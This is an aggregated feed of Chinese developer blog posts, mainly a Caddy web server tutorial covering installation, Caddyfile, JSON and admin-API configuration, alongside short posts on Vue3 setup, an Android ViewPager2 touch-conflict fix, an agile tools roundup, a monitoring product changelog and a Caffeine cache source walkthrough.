    • factorial(3) 返回 3 * 2 = 6。

    • factorial(4) 返回 4 * 6 = 24。

    • factorial(5) 返回 5 * 24 = 120。

  • 8、最终输出Factorial of 5 is 120

9.4、小结

  • 1、递归函数factorial函数通过递归调用自身来计算阶乘。
  • 2、终止条件:当 n01 时,递归终止
  • 3、回溯计算:每次递归调用的结果被用来计算上一层的值,直到最初的调用完成。

十、总结

Dart 中的函数是一个强大且灵活的工具,支持多种特性,包括参数管理匿名函数闭包高阶函数异步编程等。通过合理利用这些特性,有助于我们编写出更加简洁高效易维护及扩展的代码。

码字不易,记得 关注 + 点赞 + 收藏 + 评论

by 地狱勇士 at January 20, 2025 02:58 AM

juejin backend

web服务器Caddy初体验,真香!

很早之前就听说过caddy这个开源的web服务器,但一直也没尝试过。最近刚好使用caddy配置了一个站点,发现真香!

一、Caddy简介

Caddy是使用Go语言编写的一款开源Web服务器和反向代理服务器,设计目标是提供易于使用且高效的性能。它不仅支持常见的HTTP/HTTPS协议,还可以作为反向代理服务器、负载均衡器、WebSocket支持等。它的灵活性和模块化的架构,使其能够根据不同需求扩展功能,特别适合用于容器化环境和微服务架构。

个人体验下来Caddy的有几个比较大的特点

第一点、默认启用HTTPS,Caddy集成了Let’s Encrypt,可以自动为你的网站申请、更新和管理SSL证书,无需任何额外操作,免去繁琐的配置和证书管理流程。

第二点、配置简洁,与传统的Web服务器相比,Caddy的配置文件极为简洁,使用简易的配置文件(Caddyfile),极大降低了新手的学习成本。

第三点,除了传统的Caddyfile和JSON配置文件外,Caddy还提供了通过REST API动态管理和变更其配置的能力。这个API使得我们能够在运行时更改Caddy的配置,而无需重新启动服务器或手动编辑配置文件。

第四点,现代化,通过默认启用HTTPSREST API动态变更配置也能看出来,除此之外caddy还支持Prometheus metrics、默认使用结构化的json作为access日志。

对比传统的web服务器Nginx对比更能看出caddy的一系列特点

特性CaddyNginx
配置方式Caddyfile, JSON, REST APINginx配置文件(nginx.conf)
自动HTTPS支持是,默认启用自动TLS证书管理否,需手动配置SSL证书
适用范围7层(应用层),反向代理和Web服务,内置负载均衡支持4层(传输层)和7层(应用层)反向代理、负载均衡等
扩展性插件化架构,支持扩展模块化架构,支持静态编译的模块
性能较高(适合轻量应用)非常高(适合高并发应用)
配置简洁性Caddyfile格式简洁,易于上手配置相对复杂,灵活但不够直观
系统资源占用较低较低,适合高并发处理
编写语言Go语言C语言
Access日志格式结构化,默认JSON格式,支持自定义非结构化,默认标准日志格式,支持自定义

二、Caddy的基本用法

Caddy的安装和配置非常简便,下面是一些常见的配置示例。

1. Caddy的安装

Caddy可以通过多种方式进行安装,除了传统的安装方法,还可以通过Docker Compose来进行快速部署。

方法一:二进制安装

安装方式除了可以使用发行版提供的仓库之外

因为caddy使用Go编写,编译完成后只有一个二进制文件,所以也可以直接在官网或者github release页面进行下载,下载完成后把caddy移动到PATH下即可

直接启动Caddy

可以直接在命令行中手动启动 Caddy。运行以下命令:

caddy start

systemctl启动

官方也提供了systemd unit files,配置之后就可以使用systemd来启动了(限于篇幅这里就不介绍了)

也可以使用以下命令启动Caddy:

# 启动Caddy服务
sudo systemctl start caddy

# 设置Caddy开机自启
sudo systemctl enable caddy

这样,Caddy服务会在后台启动,并且会随系统开机自动启动。

如果想查看Caddy的运行状态,可以使用:

# 查看Caddy服务的状态
sudo systemctl status caddy

如果需要停止Caddy服务,可以执行:

# 停止Caddy服务
sudo systemctl stop caddy
方法二:使用Docker Compose安装

如果你希望通过Docker容器来运行Caddy,可以使用Docker Compose来进行安装和启动。首先,在项目目录下创建一个docker-compose.yml文件,内容如下:

version: "3.8"
services:
  caddy:
    image: caddy:latest
    container_name: caddy
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile
      - caddy_data:/data
      - caddy_config:/config
    environment:
      - ACME_AGREE=true

volumes:
  caddy_data:
  caddy_config:

在上述配置中,

  • ./Caddyfile是你的Caddy配置文件,Docker容器将其挂载到Caddy的配置目录中。
  • 此外,caddy_datacaddy_config用于持久化存储Caddy的TLS证书和配置文件。

启动Caddy服务:

docker-compose up -d

通过此方式,你可以轻松地将Caddy部署到Docker容器中,并且无需关心手动管理TLS证书,Caddy会自动处理。

2. 配置方式

Caddy的配置可以通过两种方式来管理:

  • 配置文件方式:通过将配置写入Caddyfile或者JSON文件中,Caddy会自动加载配置,官方也提供了一系列的adapter来支持其他格式的配置文件
  • API方式:通过Caddy的API接口动态修改配置,适用于更复杂的环境和自动化场景。

在实际应用中,但大多数人会选择 JSON + API 或 Caddyfile + CLI 的组合方式,不会混合使用两者,避免出现配置不一致。

通过Caddyfile文件配置Caddy

Caddyfile是Caddy最常用的配置文件格式,以简洁明了著称。大多数用户和大部分文档推荐使用这种格式来配置Caddy。

Caddyfile是一种基于块结构的配置格式,语法非常简洁且易于理解。每个配置项通常以站点名称(通常是域名)作为起始,然后是需要的配置项。Caddyfile的基本结构如下:

example.com {
    reverse_proxy 127.0.0.1:3000
    log {
        output file /var/log/caddy/access.log {
            mode 644
        }
        format json
    }
}

在这个示例中,example.com是配置的站点名称,后续的内容是针对该站点的配置项。

Caddyfile的配置项可以包括但不限于:

  • 反向代理:将请求转发到后台服务。
  • TLS/SSL配置:启用HTTPS并管理证书。
  • 路径匹配和重定向:根据请求路径来定义不同的处理方式。

Caddyfile的每一行都代表一个配置项,它非常易于编写和阅读,且支持丰富的功能。

通过JSON文件配置Caddy

虽然Caddyfile格式更加简洁,但是在一些高级使用场景中,JSON格式的配置文件更加灵活和强大。特别是在需要动态配置或者通过API接口修改配置时,JSON格式是更常见的选择。一个Caddy JSON配置文件的例子如下:

{
  "apps": {
    "http": {
      "servers": {
        "example": {
          "listen": [":80"],
          "routes": [
            {
              "match": [
                {
                  "host": ["example.com"]
                }
              ],
              "handle": [
                {
                  "handler": "static_response",
                  "body": "Hello, world!"
                }
              ]
            }
          ]
        }
      }
    }
  }
}

尽管JSON格式更为复杂,但它支持更多的高级功能,如动态配置、分布式管理等。通常,开发者在需要与其他系统进行集成时会选择这种格式。

通过API配置Caddy

除了传统的Caddyfile和JSON配置文件外,Caddy还提供了通过REST API动态管理和变更其配置的能力

Caddy的REST API允许你通过HTTP请求来控制Caddy的配置、状态和TLS证书管理等,无需重新启动服务器或手动编辑配置文件

API默认情况下监听在Caddy的管理端口(默认为 localhost:2019)。通过API,你可以对Caddy进行以下操作

1. 获取当前配置

你可以通过API请求来获取当前Caddy的配置。默认情况下,Caddy配置是以JSON格式返回的。

curl -X GET http://localhost:2019/config/

返回的JSON数据将展示当前Caddy的所有配置,类似于Caddyfile的配置内容。

2. 添加配置

如果你需要动态修改配置,可以通过PUT请求来添加Caddy的配置。

举个例子,假设当前caddy没有加载任何配置文件,通过动态加载配置,创建一个server hello,它监听2015端口,并且返回"Hello, world!"

curl localhost:2019/load \
    -H "Content-Type: application/json" \
    -d @- << EOF
    {
        "apps": {
            "http": {
                "servers": {
                    "hello": {
                        "listen": [":2015"],
                        "routes": [
                            {
                                "handle": [{
                                    "handler": "static_response",
                                    "body": "Hello, world!"
                                }]
                            }
                        ]
                    }
                }
            }
        }
    }
EOF

curl localhost:2015
Hello, world!

此时你想动态的修改server hello

curl -X PATCH http://localhost:2019/config/apps/http/servers/hello/routes \
    -H "Content-Type: application/json" \
    -d '[
        {
          "handle": [
            {
              "handler": "static_response",
              "body": "Hello from Caddy API!"
            }
          ]
        }
      ]'

curl localhost:2015
Hello from Caddy API!

这个请求会将一个修改静态响应,返回 Hello from Caddy API!

3. 删除站点配置

通过API,你也可以删除某个站点或相关配置。例如,删除一个指定的站点配置:

curl -X DELETE http://localhost:2019/config/apps/http/servers/hello

这将删除server hello的配置

三、 常见配置示例

为了简化配置过程和提升可读性,我们将在后续的示例中使用Caddyfile格式,以下是几个常见的配置示例。

直接回复

localhost:2017 {                   # 要server的站点名,不写端口则默认443(https)或者80(http)
    respond "Hello, world!"        # 直接响应内容
}

如果配置只有一行,{}在caddyfile中是可以省略的。但我还是习惯用{}包裹

localhost:2017
respond "Hello, world!"     

配置静态文件

localhost:2016 {                   # 要server的站点名,不写端口则默认443(https)或者80(http)
    root * /var/www/mysite         # 静态文件的根路径
    file_server {                  # 静态文件处理
        browse                     # 如果没有index文件,则展示目录浏览模式
        hide .git                  # 隐藏 .git
        precompressed zstd br gzip # 启用压缩
    }
}

如果只有localhost:2016并且上面的如果file_server不需要配置其他选项的时候

localhost:2016
root * /var/www/mysite 
file_server browse

配置反向代理

这个配置将所有访问example.com的请求反向代理到本地的8080端口。

example.com {
    reverse_proxy localhost:8000
}

还可以针对不同的path进行反向代理

example.com {
    reverse_proxy /bar localhost:8000  # example.com/bar的内容会被转发到localhost:8000/bar
    
    reverse_proxy /foo localhost:8001  # example.com/foo的内容会被转发到localhost:8000/foo
}

还可以针对反向代理配置更复杂的策略,如改写请求与响应等

example.com {
    reverse_proxy /bar localhost:8000      # example.com/bar的内容会被转发到localhost:8000/bar
    
    reverse_proxy /foo {                   # 针对example.com/foo配置更复杂的策略
        to localhost:8001                  # 转发到localhost:8001
        rewrite /                          # 改写path,example.com/foo会被转发成localhost:8001/
        header_up X-Forwarded-For {remote} # 增加新的header:X-Forwarded-For,内容为client ip
    }
}

配置负载均衡

example.com {
    reverse_proxy / backend1.example.com backend2.example.com
}

此配置将请求负载均衡地分发到backend1.example.combackend2.example.com

负载均衡也类似,有很多参数可以设置

一个复杂的DEMO

# 要server的站点名,不写端口则默认443(https)或者80(http)
# 使用http://代表不启用https
http://localhost:8000 {          
    respond "Hello, world!"
}

http://localhost:8001 {            
    respond "{path}"
}

localhost:8002 {                  
    # 记录所有路径的访问日志
    log {
        # 访问日志写入/path/to/access.log
        output file /path/to/access.log {
            # 设置日志文件的权限
            mode 644
        }

        # 日志格式为json
        format json
    }

    # 使用handle来匹配路径
    # 它和下面等价
    # reverse_proxy /lb/* localhost:8000 localhost:8001
    handle /lb/* {
        reverse_proxy localhost:8000 localhost:8001
    }

    handle /proxy/* {
        reverse_proxy {                 
            to localhost:8001                  # 转发到localhost:8001
            rewrite /                          # 改写path,/proxy/*会被转发到/*
            header_up X-Forwarded-For {remote} # 增加新的header:X-Forwarded-For,内容为client ip
        }
    } 
   
    handle /static/* {
        uri strip_prefix /static       # 移除/static前缀

        root * /var/www/mysite         # 静态文件的根路径

        file_server {                  # 静态文件处理
            browse                     # 如果没有index文件,则展示目录浏览模式
            hide .git                  # 隐藏 .git
            precompressed zstd br gzip # 启用压缩
        }
    }
}

四. Caddy的重要持久化存储

在Caddy的配置中,有几个重要的持久化存储目录,它们用于存储TLS证书、配置文件和其他关键数据。理解这些存储路径的作用可以帮助你更好地管理和迁移Caddy的部署。

1. 自定义的配置文件

这个就不多说了,就是上文一直提到配置文件,你需要放置到合理的位置

对于容器内,默认配置文件位置在/etc/caddy/Caddyfile。因此可以挂载这个文件来提供自定义的配置文件

# ...
volumes:
  - ./Caddyfile:/etc/caddy/Caddyfile

2. Data Directory(数据目录)

Caddy会自动为每个网站生成并管理SSL/TLS证书,这些证书存储在Caddy的数据目录中。

默认情况下,如果设置了 XDG_DATA_HOME 环境变量,那么位置就是 $XDG_DATA_HOME/caddy/,它是一个目录

没设置的话则取决于系统

OSData directory path
Linux, BSD$HOME/.local/share/caddy
Windows%AppData%\Caddy
macOS$HOME/Library/Application Support/Caddy
Plan 9$HOME/lib/caddy
Android$HOME/caddy (or /sdcard/caddy)
docker/data

这个目录用于存储所有与Caddy运行相关的数据,例如:

  • TLS证书和私钥:Caddy会自动申请和续订证书,并将这些证书文件保存在数据目录中。
  • 证书缓存:为了提高性能,Caddy会缓存证书验证和其他相关数据。
  • ACME(自动证书管理环境)缓存:Caddy使用ACME协议与Let's Encrypt等证书颁发机构通信,该缓存存储了所有的ACME响应数据。

所以数据目录不能被视为缓存,其内容并非临时的,也不仅仅是为了性能。因此,在不了解其影响的情况下,不应清除数据目录的内容。

因此在容器中我们也需要挂载对应目录,不然重启之后数据就没了

# ...
   volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile
      - caddy_data:/data # 数据目录

volumes:
  caddy_data: # 这里使用了docker volume来存储

3. Configuration Directory(配置目录)

caddy会把最后一次有效的配置保存到该目录中,也就是说如果你通过API设置的配置也会被持久化到这里。

caddy run --resume 命令启动的时候,就可以继续使用之前的配置,这时候你的自定义配置文件是不生效的

如果设置了 XDG_CONFIG_HOME 环境变量, 位置在 $XDG_CONFIG_HOME/caddy.

没设置的话则取决于系统

OSConfig directory path
Linux, BSD$HOME/.config/caddy
Windows%AppData%\Caddy
macOS$HOME/Library/Application Support/Caddy
Plan 9$HOME/lib/caddy
docker/config

因此在容器中我们也需要挂载对应目录,不然重启之后数据就没了

 # ...
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile
      - caddy_data:/data     # 数据目录
      - caddy_config:/config # 配置目录

volumes:
  caddy_data:
  caddy_config: # 这里使用了docker volume来存储

总结

Caddy是一款易于使用、功能强大的现代Web服务器,适合快速部署,尤其是自动申请和续期Let’s Encrypt的HTTPS证书,真香!其与Nginx相比,最大的优势在于配置简便、内置HTTPS支持及开箱即用的功能,尤其适合中小型网站和开发环境。


✨ 微信公众号【凉凉的知识库】同步更新,欢迎关注获取最新最有用的知识 ✨

by 凉凉的知识库 at January 20, 2025 02:58 AM

juejin frontend

【0基础中台管理系统&vue3+elementPlus】-代码仓库创建并存储

由于个人没有耐心,看不了长的文章,同时也写不出来长的文章(水文的心,莫要骂我),所以都是简短型文章,尽量做到正文少废话。不给您增加阅读的负担,我也有动力多写点文章。

🙂 感谢!

gitee登录后创建仓库

  • 如果你有别的代码管理仓库也可以选择别的,不强制

image.png 续接上一文:选中该按钮创建新的一个命令行面板

image.png

image.png
然后按照下方顺序执行命令,完成代码的存储

image.png
刷新代码仓库,你的代码就出来了

image.png

by 牧野星辰 at January 20, 2025 02:57 AM

juejin freebie

中小型科技公司用这些工具提升效率

在科技行业蓬勃发展的当下,中小型科技企业面临着激烈的市场竞争。对于它们而言,研发流程的高效性直接关乎企业的生存与发展。敏捷方法作为一种灵活且高效的项目管理理念,正逐渐成为众多企业优化研发流程的关键选择。通过实施敏捷方法,企业能够快速响应市场变化,提升产品质量,增强团队协作效率,进而在竞争中占据优势地位。

一、中小型科技企业研发流程面临的挑战

(一)市场变化应对迟缓

  • 需求变更难适应:科技市场瞬息万变,客户需求不断更迭。中小型企业若采用传统研发流程,在面对需求变更时,往往因繁琐的审批和调整环节,导致无法及时响应,产品交付滞后,错过市场先机。

  • 技术更新难跟进:新兴技术层出不穷,企业若不能迅速将其融入研发流程,产品很容易在技术层面落后于竞争对手,降低市场竞争力。

(二)团队协作效率低下

  • 部门沟通不畅:研发过程涉及多个部门,如研发、测试、产品等。部门间信息传递不及时、不准确,容易造成工作重复或遗漏,延长研发周期。

  • 职责划分模糊:团队成员职责界定不清晰,遇到问题时容易出现推诿现象,影响工作进度和团队氛围。

(三)研发周期冗长

  • 流程繁琐复杂:传统研发流程包含大量的文档撰写、审批环节,这些环节不仅耗时费力,还可能阻碍创新思维的发挥,导致研发效率低下。

  • 资源分配不合理:在研发过程中,若资源分配不当,某些环节可能会出现资源闲置或短缺的情况,进一步延长研发周期。

二、敏捷方法的核心概念与优势

(一)敏捷方法的核心原则

  • 客户合作至上:强调与客户保持密切沟通,持续收集客户反馈,确保研发方向始终符合客户需求。在传统模式下,产品研发可能与客户需求脱节,而敏捷开发通过定期的客户交流,如产品演示、需求讨论等,让客户深度参与研发过程,随时调整产品功能和特性。

  • 拥抱变化:将变化视为研发过程中的常态,而非阻碍,能够快速响应并调整研发计划。敏捷开发团队会在每个迭代周期评估需求变化,及时修改任务优先级和开发计划,确保产品始终适应市场动态。

  • 快速迭代:通过短周期的迭代开发,不断推出可工作的产品版本,逐步完善产品功能。例如,一个软件项目可能以 2 - 3 周为一个迭代周期,每个周期结束都有一个可运行的版本供测试和反馈。

  • 团队协作:注重团队成员之间的沟通与协作,打破部门壁垒,提高工作效率。敏捷开发采用跨职能团队,成员紧密合作,信息实时共享,减少因沟通不畅导致的工作延误。

(二)敏捷方法对优化研发流程的优势

  • 提高灵活性:能够快速适应市场变化和需求变更,及时调整研发策略。相比传统的固定计划模式,敏捷方法允许在项目进行中灵活调整方向,抓住市场新机遇。

  • 增强团队协作:促进团队成员之间的信息共享和沟通,提高团队凝聚力和协作效率。通过每日站会、即时通讯工具等方式,团队成员随时交流工作进展和问题,协同解决难题。

  • 加速产品交付:通过快速迭代,缩短产品研发周期,更快地将产品推向市场。频繁的小版本发布,不仅能及时获取用户反馈,还能更快地实现产品价值。

  • 提升产品质量:持续的反馈和改进机制,有助于及时发现和解决问题,提升产品质量。每一次迭代都伴随着测试和优化,确保产品在不断完善中达到更高质量标准。

三、敏捷方法在研发流程各阶段的应用

(一)需求管理阶段

  • 建立需求池:收集来自客户、市场、内部团队等多方面的需求,将其纳入需求池进行统一管理。利用专门的需求管理工具,对需求进行分类、筛选和优先级排序。

  • 需求优先级排序:根据需求的重要性、紧急程度、商业价值等因素,对需求进行优先级排序,确保研发资源优先投入到最重要的需求上。团队通过集体讨论和分析,确定每个需求的优先级。

  • 需求细化:在每个迭代开始前,将高优先级的需求进一步细化为具体的用户故事,明确功能细节和验收标准。用户故事通常以 “作为 [用户角色],我想要 [功能],以便 [实现目标]” 的格式描述,便于团队理解和开发。

(二)规划与设计阶段

  • 制定迭代计划:根据需求优先级和团队的开发能力,制定每个迭代的计划,明确迭代目标、交付成果和时间周期。迭代计划要充分考虑团队成员的工作负荷和任务难度,确保计划的可行性。

  • 架构设计:在保证系统稳定性和可扩展性的前提下,采用轻量级的架构设计方法,避免过度设计,提高开发效率。例如,采用微服务架构,将系统拆分为多个独立的服务,便于开发、测试和维护。

  • 团队协作:组织跨职能团队进行技术选型、方案讨论等工作,确保团队成员对研发方向和技术方案达成共识。通过技术研讨会、代码审查等方式,促进团队成员之间的技术交流和合作。

(三)开发与测试阶段

  • 迭代开发:按照迭代计划,团队成员并行开展开发工作,每个迭代结束后,都要交付一个可工作的产品版本。开发过程中,遵循敏捷开发的最佳实践,如持续集成、代码重构等,提高代码质量和开发效率。

  • 持续集成与持续交付(CI/CD):通过自动化的构建、测试和部署流程,实现代码的频繁集成和快速交付,及时发现和解决集成过程中的问题。例如,利用 Jenkins、GitLab CI 等工具实现自动化的 CI/CD 流程。

  • 测试驱动开发(TDD):在开发代码之前,先编写测试用例,以测试用例来驱动代码的开发,确保代码的质量和可测试性。TDD 有助于提高代码的可维护性和可扩展性,减少后期的测试成本。

(四)反馈与改进阶段

  • 迭代评审:在每个迭代结束后,组织相关人员对迭代成果进行评审,收集反馈意见,评估产品是否满足需求和预期目标。迭代评审包括产品演示、用户反馈收集、团队成员讨论等环节,确保产品的方向和质量符合要求。

  • 迭代回顾:团队成员共同回顾迭代过程中的工作,总结经验教训,找出存在的问题和改进方向,制定改进措施并在下一个迭代中实施。迭代回顾是团队持续改进的重要环节,通过不断优化工作流程和方法,提高团队的工作效率和质量。

四、支持敏捷方法的工具推荐

(一)板栗 看板

  • 核心特点:以看板形式直观展示研发流程,方便团队成员实时了解任务状态和进度。支持自定义看板布局和任务字段,满足不同项目的个性化需求。具备强大的任务管理功能,可轻松实现任务的创建、分配、跟踪和调整。

  • 协作优势:支持多人协作,团队成员可以实时共享信息,协同工作。通过实时通知和提醒功能,确保任务的及时处理和跟进。与其他常用工具集成性良好,如与代码管理工具、测试工具等集成,方便团队进行一站式研发管理。

  • 适用场景:适用于各种规模的研发团队,尤其适合注重可视化管理和团队协作的中小型科技企业。无论是敏捷开发项目还是传统项目,都能通过板栗看板实现高效的任务管理和流程优化。

(二)数据管理软件——JNPF

人工智能得到了所有的关注,但助力其运行的关键组件却往往没有得到关注,包括数据。随着企业热切地拥抱各种形式的人工智能,许多企业都忽视了他们的数据管理需求。即使是那些精通数据管理的人也经常会低估其数据管理工具的强大功能。

IT领导者认为,数据管理软件所做的重要工作应该得到更多的认可,即使其所涉及的工作通常被认为是一项乏味的任务,没有充分利用ChatGPT的能力。

尽管如此,健全的数据管理是人工智能和其他分析工作的关键,它们支撑着现代业务中被认为至关重要的一整套流程——从自动化流程到个性化客户支持。所以把它做好是很重要的。

在管理软件中,低代码平台的发展算是卓越。国内做的比较好的有JNPF,和所有低代码/无代码不同的是,它可以通过可视化的操作自动生成“全栈代码”。前端Vue3,基于代码生成器可以生成前后端代码,且代码可读性强,可以进行二次代码编辑和编译。

感兴趣的可以做个尝试。官网:www.jnpfsoft.com

(三)Trello

  • 核心特点:界面简洁直观,操作简单易用。以看板、列表和卡片的形式展示任务,用户可以轻松创建、移动和编辑任务卡片。支持添加附件、评论和标签等,方便对任务进行详细描述和分类管理。

  • 协作优势:支持团队协作,团队成员可以共同编辑看板和任务卡片,实时共享信息。通过设置提醒和截止日期,确保任务按时完成。与其他工具的集成度较高,能够与多种办公软件和开发工具进行无缝对接。

  • 适用场景:适合小型团队和轻量级的研发项目。其简单易用的特点使得团队成员能够快速上手,提高工作效率。但在处理大规模项目和复杂流程时,其功能的深度和广度可能相对有限。

(四)Asana

  • 核心特点:是一款功能强大的项目管理工具,提供了丰富的任务管理功能,包括任务创建、分配、优先级设置、进度跟踪等。支持多种视图方式,如列表视图、看板视图和时间轴视图等,方便团队成员根据自己的需求和习惯进行任务管理。

  • 协作优势:在团队协作方面,Asana 支持团队成员之间的实时沟通和协作。通过任务评论、点赞等功能,促进团队成员之间的互动和交流。同时,它还支持与其他工具的集成,如与 Microsoft Teams、Dropbox 等集成,方便团队进行协同工作。

  • 适用场景:适用于各种规模的团队和项目,尤其适合需要进行跨部门协作和项目管理的企业。其丰富的功能和灵活的视图方式能够满足不同团队的需求,但对于一些简单项目,可能会显得过于复杂。

五、总结

敏捷方法为中小型科技企业优化研发流程提供了有效的途径。通过深入理解敏捷方法的核心概念和优势,将其应用于研发流程的各个阶段,并借助合适的工具支持,企业能够提高市场响应速度,增强团队协作效率,缩短研发周期,提升产品质量,从而在激烈的市场竞争中脱颖而出。在实施敏捷方法的过程中,企业需要制定合理的策略,注意避免常见的问题,持续改进和优化敏捷实践,以实现企业的可持续发展。

by 树上有只程序猿 at January 20, 2025 02:55 AM

juejin frontend

【0基础中台管理系统&vue3+elementPlus】-创建初始框架

由于个人没有耐心,看不了长的文章,同时也写不出来长的文章(水文的心,莫要骂我),所以都是简短型文章,尽量做到正文少废话。不给您增加阅读的负担,我也有动力多写点文章。

🙂 感谢!

使用vite创建项目

npm create vite@latest

下载依赖并启动

npm i //下载依赖
npm run dev //启动

浏览器展示

image.png

删除用不到的一些文件和对应的引入

src\components\HelloWorld.vue
src\style.css

修改App.vue页面

<template>
  <div>首页</div>
</template>

<style>
html,body,#app{
  width: 100%;
  height: 100vh;
  padding: 0;
  margin: 0;
}
</style>

image.png

by 牧野星辰 at January 20, 2025 02:52 AM

juejin android

解决一个ImageViewTouch和Viewpager2滑动冲突问题

ViewPager在配套使用 ImageViewTouch时遇到滑动冲突问题,官方给的解决方案是



class ExtendedViewPager : ViewPager {

    constructor(context: Context) : super(context)

    constructor(context: Context, attrs: AttributeSet) : super(context, attrs)

    override fun canScroll(view: View, checkV: Boolean, dx: Int, x: Int, y: Int): Boolean {
        return if (view is TouchImageView) {
            view.canScrollHorizontally(-dx)
        } else {
            super.canScroll(view, checkV, dx, x, y)
        }
    }

}

在canScroll方法中判断如果 参数v是ImageViewTouch的话,需要判断 ImageViewTouch自身是否可以滑动,

项目用的是比较老的版本,代码是:


public class PreviewViewPager extends ViewPager {

    public PreviewViewPager(Context context, AttributeSet attrs) {
        super(context, attrs);
    }

    @Override
    protected boolean canScroll(View v, boolean checkV, int dx, int x, int y) {
        if (v instanceof ImageViewTouch) {
            return ((ImageViewTouch) v).canScroll(dx) || super.canScroll(v, checkV, dx, x, y);
        }
        return super.canScroll(v, checkV, dx, x, y);
    }
}


现在项目优化 ViewPager升级成ViewPager2 ,Viewpager2被final修饰不能重写。

官方解决滑动冲突的代码


override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
    return ViewHolder(TouchImageView(parent.context).apply {
        layoutParams = ViewGroup.LayoutParams(MATCH_PARENT, MATCH_PARENT)

        setOnTouchListener { view, event ->
            var result = true
            //can scroll horizontally checks if there's still a part of the image
            //that can be scrolled until you reach the edge
            if (event.pointerCount >= 2 || view.canScrollHorizontally(1) && canScrollHorizontally(-1)) {
                //multi-touch event
                result = when (event.action) {
                    MotionEvent.ACTION_DOWN, MotionEvent.ACTION_MOVE -> {
                        // Disallow RecyclerView to intercept touch events.
                        parent.requestDisallowInterceptTouchEvent(true)
                        // Disable touch on view
                        false
                    }
                    MotionEvent.ACTION_UP -> {
                        // Allow RecyclerView to intercept touch events.
                        parent.requestDisallowInterceptTouchEvent(false)
                        true
                    }
                    else -> true
                }
            }
            result
        }
    })
}

官方demo直接使用的是 RecyclerView.Adapter 但是项目中使用的是FragmentStateAdapter 最终的解决滑动冲突的代码是


image.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View v, MotionEvent event) {
        boolean result = true;
        if (event.getPointerCount() >= 2 ||  image.canScroll(1) && image.canScroll(-1)) {
            switch (event.getAction()) {
                case MotionEvent.ACTION_DOWN:
                case MotionEvent.ACTION_MOVE:
                    updateRecyclerViewDisallowInterceptTouchEvent(image,true);
                    result = false;
                    break;
                case MotionEvent.ACTION_UP:
                case MotionEvent.ACTION_CANCEL:
                    updateRecyclerViewDisallowInterceptTouchEvent(image,false);
                    result = true;
                    break;
                default:
                    result = true;
                    break;
            }
        }
        return result;
    }
});


这里的逻辑是 当两个以上手指滑动的时候禁止父View,也就是Viewpager2(RecyclerView)禁止滑动。图片放大。

当图片同时可以左右滑动的时候同理也要禁止ViewPager2滑动,只能本身图片滑动。

当图片左右不是都可以滑动的话,说明图片没有放大,或者图片放大后已经滑动到了一侧。这时候单手指滑动。如果向图片不可滑动那一侧滑动,则不会进入onTouch中的代码逻辑,也就是直接滑动Viewpager2。

如果向Image可以滑动的那一侧滑动,则MotionEvent.ACTION_DOWN时不会触发onTouch中的代码逻辑,但是MotionEvent.ACTION_MOVE时触发 updateRecyclerViewDisallowInterceptTouchEvent(image,true);禁止ViewPage2滑动,这时Image可以滑动。

by 陈贺强 at January 20, 2025 02:52 AM

juejin article

观测云产品更新 | 用户访问监测、应用性能监测、场景等优化

用户访问监测

1、新增漏斗分析功能:通过捕获用户会话数据,将用户在关键工作流程中的行为进行分步骤展示,形成一个从宽到窄的漏斗形状,帮助分析者直观地监测业务流程的成功率,识别可能导致用户流失的摩擦点。漏斗分析的应用场景如下:

  • 网页浏览优化:分析用户从首页到目标页面的转化路径,优化页面布局和内容;
  • 电商转化提升:监测购物流程各环节的转化率,识别并改善流失环节,提高购买完成率;
  • 应用功能改进:评估用户在应用内完成任务的流程,优化功能体验,增强用户留存。

2、用户洞察模块整合:新增用户洞察模块,将热图和漏斗分析整合在该模块中,提供更全面的用户行为分析工具;

3、新增移动端 SourceMap 还原:Android 和 iOS 应用支持在页面上传 SourceMap 文件且在错误查看器支持查看还原后数据。

应用性能监测

APM 添加服务时,新增主机自动注入的安装引导方式,简化安装流程。

集成

1、DataKit(数据采集工具):DataKit 安装页面新增了 Docker 方式的安装引导,提供更多样化的安装选项;

2、外部数据源优化:在 SLS 数据源查询时,新增了查询规范提示,帮助用户更准确地进行数据查询。

场景

组合图表优化:组合图表新增视图变量配置,支持选取当前仪表板中的视图变量作用于该组合图表,帮助更灵活地筛选和分析数据。

监控

突变检测监控器:新增对查询周期的周同比、月同比支持。

AI 智能助手

新增 DataFlux Func 相关知识库。

Pipeline

自动生成 Pipeline 优化:支持同时以结构化加自然语言的方式交互获取 Pipeline 解析。

Bug 修复

  • 修复了日志堆叠模式中的显示问题;
  • 修复了日志检测监控器函数输入框错位的问题;
  • 修复了指标运算有误的问题;
  • 修复了火山引擎不支持 having 语句的问题;
  • 修复了应用性能指标检测中,选择“请求错误率”和“平均每秒请求数”两个指标时报错的问题;
  • 修复了火山引擎底座 not in 语句不生效的问题;
  • 修复了事件列表返回的数据过大从而影响页面加载速度的问题;
  • 修复了杭州站点事件一键恢复不满足预期的问题。

by 可观测性用观测云 at January 20, 2025 02:48 AM

juejin backend

缓存之美:万文详解 Caffeine 实现原理(下)

上篇文章:缓存之美:万文详解 Caffeine 实现原理(上)


getIfPresent

现在我们对 put 方法有了基本了解,现在我们继续深入 getIfPresent 方法:

public class TestReadSourceCode {

    @Test
    public void doRead() {
        // read constructor
        Cache<String, String> cache = Caffeine.newBuilder()
                .maximumSize(10_000)
                .build();

        // read put
        cache.put("key", "value");

        // read get
        cache.getIfPresent("key");
    }

}

对应源码如下,关注注释信息:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final ConcurrentHashMap<Object, Node<K, V>> data;

    final Buffer<Node<K, V>> readBuffer;

    @Override
    public @Nullable V getIfPresent(Object key, boolean recordStats) {
        // 直接由 ConcurrentHashMap 获取元素
        Node<K, V> node = data.get(nodeFactory.newLookupKey(key));
        if (node == null) {
            // 更新统计未命中
            if (recordStats) {
                statsCounter().recordMisses(1);
            }
            // 当前 drainStatus 为 REQUIRED 表示有任务需要处理则调度处理
            if (drainStatusOpaque() == REQUIRED) {
                // 这个方法在上文中介绍过,它会提交 PerformCleanupTask 执行维护方法 maintenance
                scheduleDrainBuffers();
            }
            return null;
        }

        V value = node.getValue();
        long now = expirationTicker().read();
        // 判断是否过期或者需要被回收且value对应的值为null
        if (hasExpired(node, now) || (collectValues() && (value == null))) {
            // 更新统计未命中
            if (recordStats) {
                statsCounter().recordMisses(1);
            }
            scheduleDrainBuffers();
            return null;
        }

